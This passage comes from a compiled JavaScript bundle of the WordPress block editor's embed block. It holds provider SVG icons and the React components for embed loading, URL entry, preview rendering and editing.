    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.G, { children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z&quot; }) }) })
  };
  var embedSpotifyIcon = {
    foreground: &quot;#1db954&quot;,
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424c-.18.295-.563.387-.857.207-2.35-1.434-5.305-1.76-8.786-.963-.335.077-.67-.133-.746-.47-.077-.334.132-.67.47-.745 3.808-.87 7.076-.496 9.712 1.115.293.18.386.563.206.857M17.81 13.7c-.226.367-.706.482-1.072.257-2.687-1.652-6.785-2.13-9.965-1.166-.413.127-.848-.106-.973-.517-.125-.413.108-.848.52-.973 3.632-1.102 8.147-.568 11.234 1.328.366.226.48.707.256 1.072m.105-2.835C14.692 8.95 9.375 8.775 6.297 9.71c-.493.15-1.016-.13-1.166-.624-.148-.495.13-1.017.625-1.167 3.532-1.073 9.404-.866 13.115 1.337.445.264.59.838.327 1.282-.264.443-.838.59-1.282.325&quot; }) })
  };
  var embedFlickrIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;m6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5zm11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5z&quot; }) });
  var embedVimeoIcon = {
    foreground: &quot;#1ab7ea&quot;,
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.G, { children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M22.396 7.164c-.093 2.026-1.507 4.8-4.245 8.32C15.323 19.16 12.93 21 10.97 21c-1.214 0-2.24-1.12-3.08-3.36-.56-2.052-1.118-4.105-1.68-6.158-.622-2.24-1.29-3.36-2.004-3.36-.156 0-.7.328-1.634.98l-.978-1.26c1.027-.903 2.04-1.806 3.037-2.71C6 3.95 7.03 3.328 7.716 3.265c1.62-.156 2.616.95 2.99 3.32.404 2.558.685 4.148.84 4.77.468 2.12.982 3.18 1.543 3.18.435 0 1.09-.687 1.963-2.064.872-1.376 1.34-2.422 1.402-3.142.125-1.187-.343-1.782-1.4-1.782-.5 0-1.013.115-1.542.34 1.023-3.35 2.977-4.976 5.862-4.883 2.14.063 3.148 1.45 3.024 4.16z&quot; }) }) })
  };
  var embedRedditIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M22 12.068a2.184 2.184 0 0 0-2.186-2.186c-.592 0-1.13.233-1.524.609-1.505-1.075-3.566-1.774-5.86-1.864l1.004-4.695 3.261.699A1.56 1.56 0 1 0 18.255 3c-.61-.001-1.147.357-1.398.877l-3.638-.77a.382.382 0 0 0-.287.053.348.348 0 0 0-.161.251l-1.112 5.233c-2.33.072-4.426.77-5.95 1.864a2.201 2.201 0 0 0-1.523-.61 2.184 2.184 0 0 0-.896 4.176c-.036.215-.053.43-.053.663 0 3.37 3.924 6.111 8.763 6.111s8.763-2.724 8.763-6.11c0-.216-.017-.449-.053-.664A2.207 2.207 0 0 0 22 12.068Zm-15.018 1.56a1.56 1.56 0 0 1 3.118 0c0 .86-.699 1.558-1.559 1.558-.86.018-1.559-.699-1.559-1.559Zm8.728 4.139c-1.076 1.075-3.119 1.147-3.71 1.147-.61 0-2.652-.09-3.71-1.147a.4.4 0 0 1 0-.573.4.4 0 0 1 .574 0c.68.68 2.114.914 3.136.914 1.022 0 2.473-.233 3.136-.914a.4.4 0 0 1 .574 0 .436.436 0 0 1 0 .573Zm-.287-2.563a1.56 1.56 0 0 1 0-3.118c.86 0 1.56.699 1.56 1.56 0 .841-.7 1.558-1.56 1.558Z&quot; }) });
  var embedTumblrIcon = {
    foreground: &quot;#35465c&quot;,
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M19 3H5a2 2 0 00-2 2v14c0 1.1.9 2 2 2h14a2 2 0 002-2V5a2 2 0 00-2-2zm-5.69 14.66c-2.72 0-3.1-1.9-3.1-3.16v-3.56H8.49V8.99c1.7-.62 2.54-1.99 2.64-2.87 0-.06.06-.41.06-.58h1.9v3.1h2.17v2.3h-2.18v3.1c0 .47.13 1.3 1.2 1.26h1.1v2.36c-1.01.02-2.07 0-2.07 0z&quot; }) })
  };
  var embedAmazonIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M18.42 14.58c-.51-.66-1.05-1.23-1.05-2.5V7.87c0-1.8.15-3.45-1.2-4.68-1.05-1.02-2.79-1.35-4.14-1.35-2.6 0-5.52.96-6.12 4.14-.06.36.18.54.4.57l2.66.3c.24-.03.42-.27.48-.5.24-1.12 1.17-1.63 2.2-1.63.56 0 1.22.21 1.55.7.4.56.33 1.31.33 1.97v.36c-1.59.18-3.66.27-5.16.93a4.63 4.63 0 0 0-2.93 4.44c0 2.82 1.8 4.23 4.1 4.23 1.95 0 3.03-.45 4.53-1.98.51.72.66 1.08 1.59 1.83.18.09.45.09.63-.1v.04l2.1-1.8c.24-.21.2-.48.03-.75zm-5.4-1.2c-.45.75-1.14 1.23-1.92 1.23-1.05 0-1.65-.81-1.65-1.98 0-2.31 2.1-2.73 4.08-2.73v.6c0 1.05.03 1.92-.5 2.88z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M21.69 19.2a17.62 17.62 0 0 1-21.6-1.57c-.23-.2 0-.5.28-.33a23.88 23.88 0 0 0 20.93 1.3c.45-.19.84.3.39.6z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M22.8 17.96c-.36-.45-2.22-.2-3.1-.12-.23.03-.3-.18-.05-.36 1.5-1.05 3.96-.75 4.26-.39.3.36-.1 2.82-1.5 4.02-.21.18-.42.1-.3-.15.3-.8 1.02-2.58.69-3z&quot; })
  ] });
  var embedAnimotoIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: &quot;m.0206909 21 19.8160091-13.07806 3.5831 6.20826z&quot;,
        fill: &quot;#4bc7ee&quot;
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: &quot;m23.7254 19.0205-10.1074-17.18468c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418h22.5655c1.279 0 1.8019-.8905 1.1599-1.9795z&quot;,
        fill: &quot;#d4cdcb&quot;
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: &quot;m.0206909 21 15.2439091-16.38571 4.3029 7.32271z&quot;,
        fill: &quot;#c3d82e&quot;
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: &quot;m13.618 1.83582c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418 15.2646-16.38573z&quot;,
        fill: &quot;#e4ecb0&quot;
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;m.0206909 21 19.5468091-9.063 1.6621 2.8344z&quot;, fill: &quot;#209dbd&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
      import_components37.Path,
      {
        d: &quot;m.0206909 21 17.9209091-11.82623 1.6259 2.76323z&quot;,
        fill: &quot;#7cb3c9&quot;
      }
    )
  ] });
  var embedDailymotionIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
    import_components37.Path,
    {
      d: &quot;M11.903 16.568c-1.82 0-3.124-1.281-3.124-2.967a2.987 2.987 0 0 1 2.989-2.989c1.663 0 2.944 1.304 2.944 3.034 0 1.663-1.281 2.922-2.81 2.922ZM17.997 3l-3.308.73v5.107c-.809-1.034-2.045-1.37-3.505-1.37-1.529 0-2.9.561-4.023 1.662-1.259 1.214-1.933 2.764-1.933 4.495 0 1.888.72 3.506 2.113 4.742 1.056.944 2.314 1.415 3.775 1.415 1.438 0 2.517-.382 3.573-1.415v1.415h3.308V3Z&quot;,
      fill: &quot;#333436&quot;
    }
  ) });
  var embedPinterestIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2&quot; }) });
  var embedWolframIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 44 44&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M32.59521,22.001l4.31885-4.84473-6.34131-1.38379.646-6.459-5.94336,2.61035L22,6.31934l-3.27344,5.60351L12.78418,9.3125l.645,6.458L7.08643,17.15234,11.40479,21.999,7.08594,26.84375l6.34131,1.38379-.64551,6.458,5.94287-2.60938L22,37.68066l3.27344-5.60351,5.94287,2.61035-.64551-6.458,6.34277-1.38183Zm.44385,2.75244L30.772,23.97827l-1.59558-2.07391,1.97888.735Zm-8.82147,6.1579L22.75,33.424V30.88977l1.52228-2.22168ZM18.56226,13.48816,19.819,15.09534l-2.49219-.88642L15.94037,12.337Zm6.87719.00116,2.62043-1.15027-1.38654,1.86981L24.183,15.0946Zm3.59357,2.6029-1.22546,1.7381.07525-2.73486,1.44507-1.94867ZM22,29.33008l-2.16406-3.15686L22,23.23688l2.16406,2.93634Zm-4.25458-9.582-.10528-3.836,3.60986,1.284v3.73242Zm5.00458-2.552,3.60986-1.284-.10528,3.836L22.75,20.92853Zm-7.78174-1.10559-.29352-2.94263,1.44245,1.94739.07519,2.73321Zm2.30982,5.08319,3.50817,1.18164-2.16247,2.9342-3.678-1.08447Zm2.4486,7.49285L21.25,30.88977v2.53485L19.78052,30.91Zm3.48707-6.31121,3.50817-1.18164,2.33228,3.03137-3.678,1.08447Zm10.87219-4.28113-2.714,3.04529L28.16418,19.928l1.92176-2.72565ZM24.06036,12.81769l-2.06012,2.6322-2.059-2.63318L22,9.292ZM9.91455,18.07227l4.00079-.87195,1.921,2.72735-3.20794,1.19019Zm2.93024,4.565,1.9801-.73462L13.228,23.97827l-2.26838.77429Zm-1.55591,3.58819L13.701,25.4021l2.64935.78058-2.14447.67853Zm3.64868,1.977L18.19,27.17334l.08313,3.46332L14.52979,32.2793Zm10.7876,2.43549.08447-3.464,3.25165,1.03052.407,4.07684Zm4.06824-3.77478-2.14545-.68,2.65063-.781,2.41266.825Z&quot; }) });
  var embedPocketCastsIcon = {
    foreground: &quot;#f43e37&quot;,
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsxs)(
      import_components37.SVG,
      {
        width: &quot;24&quot;,
        height: &quot;24&quot;,
        viewBox: &quot;0 0 24 24&quot;,
        fill: &quot;none&quot;,
        xmlns: &quot;http://www.w3.org/2000/svg&quot;,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
            import_components37.Path,
            {
              fillRule: &quot;evenodd&quot;,
              clipRule: &quot;evenodd&quot;,
              d: &quot;M24,12A12,12,0,1,1,12,0,12,12,0,0,1,24,12Z&quot;
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
            import_components37.Path,
            {
              fillRule: &quot;evenodd&quot;,
              clipRule: &quot;evenodd&quot;,
              d: &quot;M2.67,12a9.33,9.33,0,0,1,18.66,0H19a7,7,0,1,0-7,7v2.33A9.33,9.33,0,0,1,2.67,12ZM12,17.6A5.6,5.6,0,1,1,17.6,12h-2A3.56,3.56,0,1,0,12,15.56Z&quot;,
              fill: &quot;#fff&quot;
            }
          )
        ]
      }
    )
  };
  var embedBlueskyIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(
    import_components37.Path,
    {
      fill: &quot;#0a7aff&quot;,
      d: &quot;M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z&quot;
    }
  ) });

  // packages/block-library/build-module/embed/embed-loading.mjs
  var import_components38 = __toESM(require_components(), 1);
  var import_jsx_runtime231 = __toESM(require_jsx_runtime(), 1);
  var EmbedLoading = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(&quot;div&quot;, { className: &quot;wp-block-embed is-loading&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime231.jsx)(import_components38.Spinner, {}) });
  var embed_loading_default = EmbedLoading;

  // packages/block-library/build-module/embed/embed-placeholder.mjs
  var import_i18n58 = __toESM(require_i18n(), 1);
  var import_components39 = __toESM(require_components(), 1);
  var import_block_editor73 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime232 = __toESM(require_jsx_runtime(), 1);
  var EmbedPlaceholder = ({
    icon: icon4,
    label,
    value,
    onSubmit,
    onChange,
    cannotEmbed,
    fallback: fallback2,
    tryAgain
  }) =&gt; {
    return /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
      import_components39.Placeholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(import_block_editor73.BlockIcon, { icon: icon4, showColors: true }),
        label,
        className: &quot;wp-block-embed&quot;,
        instructions: (0, import_i18n58.__)(
          &quot;Paste a link to the content you want to display on your site.&quot;
        ),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(&quot;form&quot;, { onSubmit, children: [
            /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
              import_components39.__experimentalInputControl,
              {
                __next40pxDefaultSize: true,
                type: &quot;url&quot;,
                value: value || &quot;&quot;,
                className: &quot;wp-block-embed__placeholder-input&quot;,
                label,
                hideLabelFromVision: true,
                placeholder: (0, import_i18n58.__)(&quot;Enter URL to embed here\u2026&quot;),
                onChange
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(import_components39.Button, { __next40pxDefaultSize: true, variant: &quot;primary&quot;, type: &quot;submit&quot;, children: (0, import_i18n58._x)(&quot;Embed&quot;, &quot;button label&quot;) })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(&quot;div&quot;, { className: &quot;wp-block-embed__learn-more&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
            import_components39.ExternalLink,
            {
              href: (0, import_i18n58.__)(
                &quot;https://wordpress.org/documentation/article/embeds/&quot;
              ),
              children: (0, import_i18n58.__)(&quot;Learn more about embeds&quot;)
            }
          ) }),
          cannotEmbed &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(import_components39.__experimentalVStack, { spacing: 3, className: &quot;components-placeholder__error&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(&quot;div&quot;, { className: &quot;components-placeholder__instructions&quot;, children: (0, import_i18n58.__)(&quot;Sorry, this content could not be embedded.&quot;) }),
            /* @__PURE__ */ (0, import_jsx_runtime232.jsxs)(
              import_components39.__experimentalHStack,
              {
                expanded: false,
                spacing: 3,
                justify: &quot;flex-start&quot;,
                children: [
                  /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
                    import_components39.Button,
                    {
                      __next40pxDefaultSize: true,
                      variant: &quot;secondary&quot;,
                      onClick: tryAgain,
                      children: (0, import_i18n58._x)(&quot;Try again&quot;, &quot;button label&quot;)
                    }
                  ),
                  &quot; &quot;,
                  /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
                    import_components39.Button,
                    {
                      __next40pxDefaultSize: true,
                      variant: &quot;secondary&quot;,
                      onClick: fallback2,
                      children: (0, import_i18n58._x)(&quot;Convert to link&quot;, &quot;button label&quot;)
                    }
                  )
                ]
              }
            )
          ] })
        ]
      }
    );
  };
  var embed_placeholder_default = EmbedPlaceholder;

  // packages/block-library/build-module/embed/embed-preview.mjs
  var import_i18n59 = __toESM(require_i18n(), 1);
  var import_components40 = __toESM(require_components(), 1);
  var import_block_editor74 = __toESM(require_block_editor(), 1);
  var import_element27 = __toESM(require_element(), 1);
  var import_url5 = __toESM(require_url(), 1);

  // packages/block-library/build-module/embed/wp-embed-preview.mjs
  var import_compose18 = __toESM(require_compose(), 1);
  var import_element26 = __toESM(require_element(), 1);
  var import_jsx_runtime233 = __toESM(require_jsx_runtime(), 1);
  var attributeMap = {
    class: &quot;className&quot;,
    frameborder: &quot;frameBorder&quot;,
    marginheight: &quot;marginHeight&quot;,
    marginwidth: &quot;marginWidth&quot;
  };
  function WpEmbedPreview({ html }) {
    const ref = (0, import_element26.useRef)();
    const props = (0, import_element26.useMemo)(() =&gt; {
      const doc = new window.DOMParser().parseFromString(html, &quot;text/html&quot;);
      const iframe = doc.querySelector(&quot;iframe&quot;);
      const iframeProps = {};
      if (!iframe) {
        return iframeProps;
      }
      Array.from(iframe.attributes).forEach(({ name: name123, value }) =&gt; {
        if (name123 === &quot;style&quot;) {
          return;
        }
        iframeProps[attributeMap[name123] || name123] = value;
      });
      return iframeProps;
    }, [html]);
    (0, import_element26.useEffect)(() =&gt; {
      const { ownerDocument } = ref.current;
      const { defaultView } = ownerDocument;
      function resizeWPembeds({ data: { secret, message, value } = {} }) {
        if (message !== &quot;height&quot; || secret !== props[&quot;data-secret&quot;]) {
          return;
        }
        ref.current.height = value;
      }
      defaultView.addEventListener(&quot;message&quot;, resizeWPembeds);
      return () =&gt; {
        defaultView.removeEventListener(&quot;message&quot;, resizeWPembeds);
      };
    }, []);
    return /* @__PURE__ */ (0, import_jsx_runtime233.jsx)(&quot;div&quot;, { className: &quot;wp-block-embed__wrapper&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime233.jsx)(
      &quot;iframe&quot;,
      {
        ref: (0, import_compose18.useMergeRefs)([ref, (0, import_compose18.useFocusableIframe)()]),
        title: props.title,
        ...props
      }
    ) });
  }

  // packages/block-library/build-module/embed/embed-preview.mjs
  var import_jsx_runtime234 = __toESM(require_jsx_runtime(), 1);
  function EmbedPreview({
    preview,
    previewable,
    url,
    type,
    isSelected,
    className,
    icon: icon4,
    label
  }) {
    const [interactive, setInteractive] = (0, import_element27.useState)(false);
    if (!isSelected &amp;&amp; interactive) {
      setInteractive(false);
    }
    const hideOverlay = () =&gt; {
      setInteractive(true);
    };
    const { scripts } = preview;
    const html = &quot;photo&quot; === type ? getPhotoHtml(preview) : preview.html;
    const embedSourceUrl = (0, import_url5.getAuthority)(url);
    const iframeTitle = (0, import_i18n59.sprintf)(
      // translators: %s: host providing embed content e.g: www.youtube.com
      (0, import_i18n59.__)(&quot;Embedded content from %s&quot;),
      embedSourceUrl
    );
    const sandboxClassnames = clsx_default(
      type,
      className,
      &quot;wp-block-embed__wrapper&quot;
    );
    const embedWrapper = &quot;wp-embed&quot; === type ? /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(WpEmbedPreview, { html }) : /* @__PURE__ */ (0, import_jsx_runtime234.jsxs)(&quot;div&quot;, { className: &quot;wp-block-embed__wrapper&quot;, children: [
      /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(
        import_components40.SandBox,
        {
          allowSameOrigin: true,
          html,
          scripts,
          title: iframeTitle,
          type: sandboxClassnames,
          onFocus: hideOverlay
        }
      ),
      !interactive &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(
        &quot;div&quot;,
        {
          className: &quot;block-library-embed__interactive-overlay&quot;,
          onMouseUp: hideOverlay
        }
      )
    ] });
    return /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(import_jsx_runtime234.Fragment, { children: previewable ? embedWrapper : /* @__PURE__ */ (0, import_jsx_runtime234.jsxs)(
      import_components40.Placeholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(import_block_editor74.BlockIcon, { icon: icon4, showColors: true }),
        label,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(&quot;p&quot;, { className: &quot;components-placeholder__error&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(&quot;a&quot;, { href: url, children: url }) }),
          /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(&quot;p&quot;, { className: &quot;components-placeholder__error&quot;, children: (0, import_i18n59.sprintf)(
            /* translators: %s: host providing embed content e.g: www.youtube.com */
            (0, import_i18n59.__)(
              &quot;Embedded content from %s can&#039;t be previewed in the editor.&quot;
            ),
            embedSourceUrl
          ) })
        ]
      }
    ) });
  }

  // packages/block-library/build-module/embed/edit.mjs
  var import_i18n60 = __toESM(require_i18n(), 1);
  var import_element28 = __toESM(require_element(), 1);
  var import_data32 = __toESM(require_data(), 1);
  var import_block_editor75 = __toESM(require_block_editor(), 1);
  var import_core_data17 = __toESM(require_core_data(), 1);
  var import_primitives156 = __toESM(require_primitives(), 1);
  var import_url6 = __toESM(require_url(), 1);
  var import_jsx_runtime235 = __toESM(require_jsx_runtime(), 1);
  var EmbedEdit = (props) =&gt; {
    const {
      attributes: {
        providerNameSlug,
        previewable,
        responsive,
        url: attributesUrl
      },
      attributes: attributes2,
      isSelected,
      onReplace,
      setAttributes,
      insertBlocksAfter,
      onFocus
    } = props;
    const defaultEmbedInfo = {
      title: (0, import_i18n60._x)(&quot;Embed&quot;, &quot;block title&quot;),
      icon: embedContentIcon
    };
    const { icon: icon4, title } = getEmbedInfoByProvider(providerNameSlug) || defaultEmbedInfo;
    const [url, setURL] = (0, import_element28.useState)(attributesUrl);
    const [isEditingURL, setIsEditingURL] = (0, import_element28.useState)(false);
    const { invalidateResolution } = (0, import_data32.useDispatch)(import_core_data17.store);
    const {
      preview,
      fetching,
      themeSupportsResponsive,
      cannotEmbed,
      hasResolved
    } = (0, import_data32.useSelect)(
      (select9) =&gt; {
        const {
          getEmbedPreview,
          isPreviewEmbedFallback,
          isRequestingEmbedPreview,
          getThemeSupports,
          hasFinishedResolution
        } = select9(import_core_data17.store);
        if (!attributesUrl) {
          return { fetching: false, cannotEmbed: false };
        }
        const embedPreview = getEmbedPreview(attributesUrl);
        const previewIsFallback = isPreviewEmbedFallback(attributesUrl);
        const badEmbedProvider = embedPreview?.html === false &amp;&amp; embedPreview?.type === void 0;
        const wordpressCantEmbed = embedPreview?.data?.status === 404;
        const validPreview = !!embedPreview &amp;&amp; !badEmbedProvider &amp;&amp; !wordpressCantEmbed;
        return {
          preview: validPreview ? embedPreview : void 0,
          fetching: isRequestingEmbedPreview(attributesUrl),
          themeSupportsResponsive: getThemeSupports()[&quot;responsive-embeds&quot;],
          cannotEmbed: !validPreview || previewIsFallback,
          hasResolved: hasFinishedResolution(&quot;getEmbedPreview&quot;, [
            attributesUrl
          ])
        };
      },
      [attributesUrl]
    );
    const getMergedAttributes = () =&gt; getMergedAttributesWithPreview(
      attributes2,
      preview,
      title,
      responsive
    );
    function toggleResponsive(newAllowResponsive) {
      const { className: className2 } = attributes2;
      const { html } = preview;
      setAttributes({
        allowResponsive: newAllowResponsive,
        className: getClassNames(
          html,
          className2,
          responsive &amp;&amp; newAllowResponsive
        )
      });
    }
    (0, import_element28.useEffect)(() =&gt; {
      if (preview?.html || !cannotEmbed || !hasResolved) {
        return;
      }
      const newURL = attributesUrl.replace(/\/$/, &quot;&quot;);
      setURL(newURL);
      setIsEditingURL(false);
      setAttributes({ url: newURL });
    }, [
      preview?.html,
      attributesUrl,
      cannotEmbed,
      hasResolved,
      setAttributes
    ]);
    (0, import_element28.useEffect)(() =&gt; {
      if (!cannotEmbed || fetching || !url) {
        return;
      }
      if ((0, import_url6.getAuthority)(url) === &quot;x.com&quot;) {
        const newURL = new URL(url);
        newURL.host = &quot;twitter.com&quot;;
        setAttributes({ url: newURL.toString() });
      }
    }, [url, cannotEmbed, fetching, setAttributes]);
    (0, import_element28.useEffect)(() =&gt; {
      if (preview &amp;&amp; !isEditingURL) {
        const mergedAttributes = getMergedAttributes();
        const hasChanges = Object.keys(mergedAttributes).some(
          (key) =&gt; mergedAttributes[key] !== attributes2[key]
        );
        if (hasChanges) {
          setAttributes(mergedAttributes);
        }
        if (onReplace) {
          const upgradedBlock = createUpgradedEmbedBlock(
            props,
            mergedAttributes
          );
          if (upgradedBlock) {
            onReplace(upgradedBlock);
          }
        }
      }
    }, [preview, isEditingURL]);
    const blockProps = (0, import_block_editor75.useBlockProps)();
    if (fetching) {
      return /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(import_primitives156.View, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(embed_loading_default, {}) });
    }
    const label = (0, import_i18n60.sprintf)((0, import_i18n60.__)(&quot;%s URL&quot;), title);
    const showEmbedPlaceholder = !preview || cannotEmbed || isEditingURL;
    if (showEmbedPlaceholder) {
      return /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(import_primitives156.View, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
        embed_placeholder_default,
        {
          icon: icon4,
          label,
          onFocus,
          onSubmit: (event) =&gt; {
            if (event) {
              event.preventDefault();
            }
            const blockClass = removeAspectRatioClasses(
              attributes2.className
            );
            setIsEditingURL(false);
            setAttributes({ url, className: blockClass });
          },
          value: url,
          cannotEmbed,
          onChange: (value) =&gt; setURL(value),
          fallback: () =&gt; fallback(url, onReplace),
          tryAgain: () =&gt; {
            invalidateResolution(&quot;getEmbedPreview&quot;, [url]);
          }
        }
      ) });
    }
    const {
      caption,
      type,
      allowResponsive,
      className: classFromPreview
    } = getMergedAttributes();
    const className = clsx_default(classFromPreview, props.className);
    return /* @__PURE__ */ (0, import_jsx_runtime235.jsxs)(import_jsx_runtime235.Fragment, { children: [
